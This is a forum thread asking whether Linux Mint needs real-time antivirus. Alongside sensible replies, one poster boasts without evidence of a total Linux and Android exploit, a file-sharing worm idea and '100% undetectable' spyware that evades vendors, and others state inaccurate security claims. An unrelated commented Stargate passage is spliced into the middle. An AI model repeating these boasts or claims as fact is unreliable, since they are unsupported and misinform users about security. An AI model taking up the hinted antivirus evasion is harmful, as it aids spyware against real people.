How secure is linux and do i need a real-time antivirus.?

As the title says...is linux really secure.?..i have been using linux mint now for about 5 months and have no av installed.

I would have to say no, you have a UAC Screen on Linux Mint last time I have used it. But I have found a exploit how to bypass it totally? So no don't use Linux. Windows 7 Ultimate or Windows 8 Pro are more secure I think, but you are looking at more Malware for that platform. Linux is also very buggy that's why I moved back to Windows!

Linux was made by Computer Hackers for Hackers to use and it's a right mess, I hate Linux and stuff!

Not a very helpful reply lol

 

[(BlackBox) Hacker]

Did I also say I have hacked all of the Linux platform? And the same exploit is used on Android as well, because that is Linux based!

Not a very helpful reply lol

Linux is totally nuts!

127.0.0.1 is your loop back address of Computer and port 1000 on the reverse TCP, also the Linux Mint UAC screen is triggered with the command line. The user types password in and stuff and game over!!!

Now Linux Computer Viruses which don't exist!

# P3W-451 is a desert world in orbit around the companion

# life on the planet recently became extinct, and the
# gravity of the black hole is slowly tearing the planet
# apart. Major Boyd and SG-10 were on a routine mission
# to the planet, and attempts to contact them opened a
# wormhole that could not be disengaged. The team was lost,
# and to break the wormhole connection, SG-1 forced the wormhole
# to arc to another planet.
#
# P3W-451 was later accessed in order to use the extreme gravity
# to cause a supernova in the Vorash system. The coordinates were also
# offered to the Aschen.

Nothing is really secure, and every operating system can be compromised by malware. However, the Linux platform has almost no real malware that is targeting home users, so you should be safe.

Linux systems are by no means infallible, but one of their key advantages lies in the way account privileges are assigned. In Windows, users are generally given administrator access by default, which means they pretty much have access to everything on the system, even its most crucial parts. So, then, do malware.
With Linux, on the other hand, users do not usually have such "root" privileges; rather, they're typically given lower-level accounts. What that means is that even if a Linux system is compromised, the virus won't have the root access it would need to do damage system wide; more likely, just the user's local files and programs would be affected.

But the Malware will trigger root access! Yes the same in Windows, but the safe download sites make up for it!

Your signed applications on Linux is your built-in download manager only, that is just crazy!

Linux is also rubbish and has rubbish Software plus it is very buggy as well!

Jack & BlackBox Hacker is right, No OS is totally secure but Comparatively with Windows it is a bit secured but still i would suggest you to use any Antivirus or Some security tools.

I agree with you!

If you will be transferring files between your Linux and Windows often, then you can use an on-demand antivirus on Linux. More importantly Windows should have an Antivirus installed anyway.

Real-time protection on Linux? If you can find one that works.

That reminds me last time I use Linux Mint and I enabled password protection for File Sharing, I use my sisters Windows 7 Netbook and connected to my files shared. And I didn't get a password prompt nothing lol. I can easily make a Computer Worm for this! I could read the files and delete them, but I couldn't edit the files in that folder really crazy stuff!

Linux no security and rubbish made, I'm a real what you call it now? A Windows fan boy, but I was also a Linux nut as well. Now no more it took me half of one Year to see how rubbish the Software was? And drivers messing up and others stuff. I still use all of the reset of the Linux Software, but on Windows as they are cross platform based! The programs that did not work on Hardware. Now work using Windows on this computer I'm using right now lol.

Firefox
Thunderbird
NoScript - Backtrack
VLC

No such thing as Real-time protection on Linux lol!

It's a good job I've done Malware and Security!

Well at least, there is only a few people or black hatter that like or attemp to hacking linux, that's somewhat reduce the possibilities getting hacked while using Linux (as far as I know of course, since only a few people using Linux)

And yes, you also need AV on Linux as well, at least that what most people said

 

[(BlackBox) Hacker]

I have Spyware that is 100% undetectable on Windows and it was detectable once, knowing how other Venders block stuff is so cool, Now the trick is to encrypt your Source Code as a binary file!

Firefox is playing up I think with this site!

Windows is the best platform to hack not Linux rubbish lol!

I think you must use AV on Linux, except you are linuxer in Indonesia.

Windows is loads more safer now than a few Years ago! Check out what I say in this thread?
